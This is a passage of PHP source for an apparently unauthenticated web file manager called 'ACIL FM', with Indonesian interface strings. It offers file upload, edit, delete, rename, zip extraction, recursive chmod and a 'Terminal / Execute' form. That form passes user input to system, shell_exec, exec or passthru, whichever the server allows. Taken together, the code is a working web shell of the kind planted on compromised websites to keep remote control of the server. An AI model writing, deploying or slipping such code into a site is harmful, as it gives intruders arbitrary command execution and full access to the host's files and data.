keep leading slash marker by using empty first element $is_rooted = true; } else { $is_rooted = false; } // Utility: normalize path for links function path_link($parts, $idx, $is_rooted) { $out = $is_rooted ? '/' : ''; for($i=0;$i<=$idx;$i++){ $out .= $parts[$i]; if($i != $idx) $out .= '/'; } return $out === '' ? '/' : $out; } // ----------------- Helper functions ----------------- function human_size($bytes) { if ($bytes < 1024) return $bytes . ' B'; $units = ['KB','MB','GB','TB']; for ($i=0; $bytes >= 1024 && $i < count($units); $i++) $bytes /= 1024; return round($bytes, 2) . ' ' . $units[$i]; } function natural_sort_dirs_files($items) { // $items: array of filenames (name only) $dirs = []; $files = []; foreach($items as $it) { if(is_dir($it)) $dirs[] = $it; else $files[] = $it; } usort($dirs, function($a,$b){ return strnatcasecmp($a,$b); }); usort($files, function($a,$b){ return strnatcasecmp($a,$b); }); return array_merge($dirs, $files); } // ----------------- POST actions handling ----------------- $messages = []; $errors = []; // Helper to sanitize filenames for display function e($s){ return htmlspecialchars($s, ENT_QUOTES); } if($_SERVER['REQUEST_METHOD'] === 'POST') { // Create folder if(isset($_POST['create_folder'])) { $name = $_POST['folder_name'] ?? ''; $target = trim($name); if($target === '') { $errors[] = "Nama folder kosong."; } else { if(@mkdir($target, 0777, false)) { $messages[] = "Folder '" . e($target) . "' dibuat."; } else { $errors[] = "Gagal membuat folder '". e($target) ."' — cek permission."; } } } // Create file if(isset($_POST['create_file'])) { $name = $_POST['file_name'] ?? ''; $content = $_POST['file_content'] ?? ''; $target = trim($name); if($target === '') { $errors[] = "Nama file kosong."; } else { if(@file_put_contents($target, $content) !== false) { $messages[] = "File '" . e($target) . "' dibuat."; } else { $errors[] = "Gagal membuat file '" . e($target) . "'."; } } } // Upload files (multiple) if(isset($_FILES['upload_files'])) { $up = $_FILES['upload_files']; for($i=0;$iisDir()) @rmdir($file->getRealPath()); else @unlink($file->getRealPath()); } if(@rmdir($s)) $messages[] = "Folder '". e($s) ."' dihapus."; else $errors[] = "Gagal menghapus folder '". e($s) ."'."; } else { if(@unlink($s)) $messages[] = "File '". e($s) ."' dihapus."; else $errors[] = "Gagal menghapus file '". e($s) ."'."; } } } // Rename single if(isset($_POST['rename_item'])) { $old = $_POST['old_name'] ?? ''; $new = $_POST['new_name'] ?? ''; if($old === '' || $new === '') { $errors[] = "Nama lama/baru kosong."; } else { if(@rename($old, $new)) $messages[] = "Rename berhasil: '".e($old)."' -> '".e($new)."'."; else $errors[] = "Rename gagal."; } } // Edit file save if(isset($_POST['save_file'])) { $file = $_POST['edit_file'] ?? ''; $content = $_POST['edit_content'] ?? ''; if($file === '' || !is_file($file)) $errors[] = "File tidak ditemukan."; else { if(@file_put_contents($file, $content) !== false) $messages[] = "File '".e($file)."' disimpan."; else $errors[] = "Gagal menyimpan file '".e($file)."'."; } } // Download handled by GET action below // Zip selected if(isset($_POST['zip_selected'])) { $sel = $_POST['sel'] ?? []; $zipname = trim($_POST['zip_name'] ?? 'archive.zip'); if($zipname === '') $zipname = 'archive.zip'; $zip = new ZipArchive(); if($zip->open($zipname, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) { $errors[] = "Gagal membuat archive."; } else { foreach($sel as $s) { if(is_dir($s)) { // add directory recursively $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($s, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::LEAVES_ONLY); foreach ($files as $file) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen(getcwd()) + 1); $zip->addFile($filePath, $relativePath); } } elseif(is_file($s)) { $zip->addFile($s, basename($s)); } } $zip->close(); $messages[] = "Archive '". e($zipname) ."' dibuat."; } } // Unzip uploaded zip (or unzip existing) if(isset($_POST['unzip_file'])) { $zipfile = $_POST['zipfile'] ?? ''; $dest = $_POST['unzip_to'] ?? './'; if(!is_file($zipfile)) $errors[] = "File zip tidak ditemukan."; else { $z = new ZipArchive(); if($z->open($zipfile) === true) { if($z->extractTo($dest)) { $messages[] = "Zip '".e($zipfile)."' diekstrak ke '".e($dest)."'."; } else { $errors[] = "Gagal ekstrak."; } $z->close(); } else { $errors[] = "Gagal membuka zip."; } } } // Read list entries inside zip (for preview) if(isset($_POST['listzip'])) { $zipfile = $_POST['zipfile'] ?? ''; if(!is_file($zipfile)) $errors[] = "File zip tidak ditemukan."; else { $z = new ZipArchive(); if($z->open($zipfile) === true) { $zip_list = []; for($i=0;$i<$z->numFiles;$i++){ $zip_list[] = $z->getNameIndex($i); } $z->close(); } else { $errors[] = "Gagal membuka zip."; } } } // Chmod single if(isset($_POST['chmod_single'])) { $path = $_POST['chmod_path'] ?? ''; $perm = $_POST['chmod_value'] ?? ''; if($path === '' || $perm === '') $errors[] = "Path atau permission kosong."; else { // sanitize octal string $p = intval($perm, 8); if(@chmod($path, $p)) $messages[] = "Chmod '".e($path)."' => ".e($perm)." berhasil."; else $errors[] = "Chmod gagal pada '".e($path)."'."; } } // Chmod bulk (All File / All Folder / All File dan Folder) if(isset($_POST['chmod_bulk'])) { $which = $_POST['chmod_target'] ?? ''; $perm = $_POST['chmod_bulk_value'] ?? ''; $p = intval($perm, 8); if($perm === '') $errors[] = "Permission kosong."; else { $applied = 0; $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator(getcwd(), RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST); foreach($it as $item) { if($which === 'all_file' && $item->isFile()) { if(@chmod($item->getRealPath(), $p)) $applied++; } elseif($which === 'all_folder' && $item->isDir()) { if(@chmod($item->getRealPath(), $p)) $applied++; } elseif($which === 'all' ) { if(@chmod($item->getRealPath(), $p)) $applied++; } } $messages[] = "Chmod bulk diterapkan ke $applied item."; } } // Terminal execute if(isset($_POST['terminal_cmd'])) { $cmd = $_POST['terminal_cmd_input'] ?? ''; $term_output = exe($cmd); } } // ----------------- GET actions: download, preview, edit load, listdir ----------------- if(isset($_GET['download'])) { $f = $_GET['download']; if(is_file($f)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: ' . filesize($f)); readfile($f); exit; } else { $errors[] = "File untuk download tidak ditemukan."; } } if(isset($_GET['edit'])) { $edit_file = $_GET['edit']; if(!is_file($edit_file)) { $errors[] = "File tidak ditemukan."; unset($edit_file); } else { $edit_content = @file_get_contents($edit_file); } } if(isset($_GET['view'])) { $view = $_GET['view']; if(is_file($view)) { header('Content-Type: text/plain; charset=utf-8'); echo file_get_contents($view); exit; } } // ----------------- Get directory listing ----------------- $items = array_diff(scandir($dir), ['.','..']); $items = natural_sort_dirs_files($items); // ----------------- HTML / UI ----------------- ?> ACIL FM

ACIL FM

Refresh Current DIR:
"; ?>
"; ?>
Nama Ukuran Permission Aksi
View DL Edit Open
Edit file:
Batal
Create

Terminal / Execute
Chmod Bulk
&1'); return ob_get_clean(); } elseif (function_exists('shell_exec')) { return shell_exec($cmd . ' 2>&1'); } elseif (function_exists('exec')) { exec($cmd . ' 2>&1', $output); return implode("\n", $output); } elseif (function_exists('passthru')) { ob_start(); passthru($cmd . ' 2>&1'); return ob_get_clean(); } else { return 'Command execution not available.'; } } ?>